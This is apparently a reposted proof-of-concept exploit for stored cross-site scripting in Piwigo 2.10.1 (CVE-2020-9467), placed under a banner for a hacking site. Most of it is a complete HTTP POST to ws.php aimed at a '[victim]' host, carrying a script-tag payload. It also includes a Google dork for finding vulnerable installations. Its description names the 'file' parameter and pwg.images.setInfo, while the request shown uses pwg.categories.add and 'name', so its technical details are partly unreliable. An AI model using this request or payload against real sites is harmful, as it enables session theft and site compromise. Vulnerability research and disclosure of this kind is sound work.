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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Piwigo 2.10.1 - Cross Site Scripting
# POC by: Iridium
# Software Homepage: http://www.piwigo.org
# Version : 2.10.1
# Tested on: Linux & Windows
# Category: webapps
# Google Dork: intext: "Powered by Piwigo"
# CVE : CVE-2020-9467

######## Description ########

Piwigo 2.10.1 has stored XSS via the file parameter in a /ws.php request
because of the pwg.images.setInfo function.

######## Proof of Concept ########

*Request*

POST /piwigo/ws.php?format=json HTTP/1.1
Host: [victim]
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0) Gecko/20100101
Firefox/80.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 79
Origin: http://[victim]
Connection: close
Referer: http://[victim]/piwigo/admin.php?page=photos_add&section=direct
Cookie: pwg_id=08tksticrdkctrvj3gufqqbsnh

method=pwg.categories.add&parent=1&name=%3Cscript%3Ealert('XSS')%3C%2Fscript%3E